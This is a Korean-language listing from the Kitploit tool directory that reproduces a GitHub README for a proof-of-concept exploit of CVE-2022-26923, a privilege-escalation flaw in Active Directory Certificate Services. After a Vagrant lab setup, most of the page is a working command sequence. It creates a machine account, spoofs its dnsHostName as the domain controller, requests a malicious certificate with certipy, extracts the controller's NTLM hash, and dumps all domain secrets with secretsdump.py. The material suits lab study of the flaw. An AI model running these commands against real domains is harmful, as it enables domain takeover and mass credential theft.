Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-26923 — CVE-2022-26923을 악용하는 개념 증명(PoC)입니다. | Kitploit
도구/GitHubGitHub/gh-badr/cve-2022-26923
Privilege EscalationExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubgh-badr/cve-2022-26923

CVE-2022-26923

CVE-2022-26923을 악용하는 개념 증명(PoC)입니다.

저장소 보기
2212년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-26923

설명

이 취약점으로 인해 낮은 권한의 사용자가 Active Directory Certificate Services(AD CS) 서버 역할이 설치된 기본 Active Directory 환경에서 도메인 관리자로 권한을 상승시킬 수 있었습니다.

이 취약점은 주로 AD CS(Active Directory Certificate Services) 역할과 관련이 있습니다. AD CS 역할은 조직에서 공개 키 인프라(PKI)를 구축하고 공개 키 암호화, 디지털 인증서, 디지털 서명 기능을 제공할 수 있게 해주는 Windows Server 역할입니다. AD CS 역할은 사용자, 컴퓨터 및 서비스에 인증서를 발급하는 데 사용됩니다.

목차

  • CVE-2022-26923
    • 설명
    • 목차
    • 전제 조건
    • 환경
    • 익스플로잇
    • 개념 증명
    • 참고 자료

전제 조건

  • Vagrant
  • VirtualBox

환경

사용되는 Windows Server 버전은 취약한 버전인 Windows Server 2019 Standard Evaluation입니다. 제공된 Vagrantfile(Vulnerable Machine 폴더에 있음)은 AD CS 역할이 설치 및 구성된 Windows Server 2019 VM과 다음 자격 증명을 가진 낮은 권한의 사용자를 생성합니다:

  • 사용자 이름: user
  • 비밀번호: V@grant1

환경을 생성하려면 다음 단계를 따르세요:

  • 먼저 저장소를 클론하고 CVE-2022-26923 디렉터리로 이동합니다:
    root@kitploit:~
    git clone https://github.com/Gh-Badr/CVE-2022-26923
    cd CVE-2022-26923
    
  • 기본 IP 주소를 변경해야 하는 경우 Vagrantfile에서 다음 줄의 IP 주소를 교체하면 됩니다:
    root@kitploit:~
    config.vm.network "private_network", type: "static", ip: "192.168.33.13"
    
  • 그런 다음 다음 명령을 실행하여 VM을 생성합니다:
    root@kitploit:~
    cd 'Vulnerable Machine'
    vagrant up
    
  • certipy가 설치된 Linux 머신이 없다면 Attacker Machine 디렉터리에 제공된 vagrant 머신을 다음 명령으로 사용할 수 있습니다:
    root@kitploit:~
    cd 'Attacker Machine'
    vagrant up
    

Attacker Machine 폴더에는 최신 버전의 certipy를 설치하는 셸 스크립트와 함께 vagrant 머신이 포함되어 있습니다. 이 스크립트를 사용하여 Linux 머신에 certipy를 설치할 수도 있습니다.

익스플로잇

공격자 머신에 연결하려면 Attacker Machine 디렉터리에서 다음 명령을 실행합니다:

root@kitploit:~
vagrant ssh

이제 공격 머신에 접속했으므로 Windows Server의 IP 주소를 hosts 파일에 추가해야 합니다:

root@kitploit:~
echo "192.168.33.13   VAGRANT-K51B6U3.vagrant.local VAGRANT-K51B6U3 vagrant-VAGRANT-K51B6U3-CA vagrant.local" | sudo tee -a /etc/hosts

참고: 취약한 머신의 Vagrantfile에서 IP 주소를 변경했다면 여기에서도 변경해야 합니다.

그런 다음, 도메인에 새 컴퓨터 계정을 생성합니다:

root@kitploit:~
addcomputer.py 'vagrant.local/user:V@grant1' -method LDAPS -computer-name 'CVEPC' -computer-pass 'P@ssw0rd'

컴퓨터 계정이 생성되었는지 확인하려면 Vulnerable Machine 디렉터리에서 다음 명령을 실행하여 user 사용자와 비밀번호 V@grant1로 취약한 머신에 연결합니다:

root@kitploit:~
vagrant ssh

그런 다음 다음 명령을 실행하여 컴퓨터 계정이 생성되었는지 확인합니다:

root@kitploit:~
Get-ADComputer CVEPC -Properties dnsHostName,servicePrincipalName

이 컴퓨터 계정의 dnsHostName은 CVEPC.vagrant.local입니다. 우리가 원하는 것은 이 dnsHostName을 도메인 컨트롤러인 VAGRANT-K51B6U3.vagrant.local로 변경하는 것입니다.

이렇게 하려면 먼저 다음 명령을 실행하여 CVEPC 컴퓨터 계정에서 SPN(서비스 사용자 이름, Service Principal Name)을 삭제해야 합니다:

root@kitploit:~
Set-ADComputer CVEPC -Properties ServicePrincipalName @{}

그런 다음 다음 명령을 실행하여 dnsHostName을 VAGRANT-K51B6U3.vagrant.local로 변경할 수 있습니다:

root@kitploit:~
Set-ADComputer CVEPC -Properties dnsHostName VAGRANT-K51B6U3.vagrant.local
  • 참고: 컴퓨터 계정 SPN을 삭제해야 했던 이유를 이해하려면 프로젝트 보고서를 참조하세요(프랑스어). 또는 CVE 작성자의 자세한 설명이 포함된 참고 자료 섹션의 첫 번째 문서를 확인할 수 있습니다.

이제 dnsHostName이 VAGRANT-K51B6U3.vagrant.local인 컴퓨터 계정이 있으므로 공격 머신에서 다음 명령을 실행하여 취약한 머신으로부터 악성 인증서를 요청할 수 있습니다:

root@kitploit:~
certipy req -username '[email protected]' -password 'P@sww0rd' -ca vagrant-VAGRANT-K51B6U3-CA -template Machine -target VAGRANT-K51B6U3.vagrant.local

현재 디렉터리에 vagrant-k51b6u3.pfx라는 인증서가 생성됩니다. 인증서가 유효한지 확인하려면 다음 명령을 실행하여 certipy의 auth 도구를 사용합니다:

root@kitploit:~
certipy auth -pfx vagrant-k51b6u3.pfx

인증서가 유효하면 도메인 컨트롤러의 NTLM 해시를 얻을 수 있습니다. 이는 다양한 악의적인 방법으로 사용될 수 있습니다.

개념 증명

개념 증명으로, NTLM 해시를 사용하여 도메인에 저장된 모든 비밀을 검색할 수 있습니다(CVE 작성자의 문서에 설명된 대로). 이를 위해 impacket 스위트의 secretsdump.py 도구를 사용할 수 있습니다(이 도구는 최신 버전의 certipy와 함께 설치됩니다).

도구를 사용하려면 다음 명령을 실행합니다:

root@kitploit:~
secretsdump.py 'vagrant.local/[email protected]' -hashes :<NTLM hash>

<NTLM hash>를 이전 단계에서 얻은 NTLM 해시로 바꾸세요.

결과적으로 도메인에 저장된 모든 비밀을 얻을 수 있습니다.

참고 자료

  • Certifried: Active Directory 도메인 권한 상승 (CVE-2022-26923)
  • GitHub - LudovicPatho/CVE-2022-26923_AD-Certificate-Services
  • Try Hack Me - CVE-2022-26923
도구 다운로드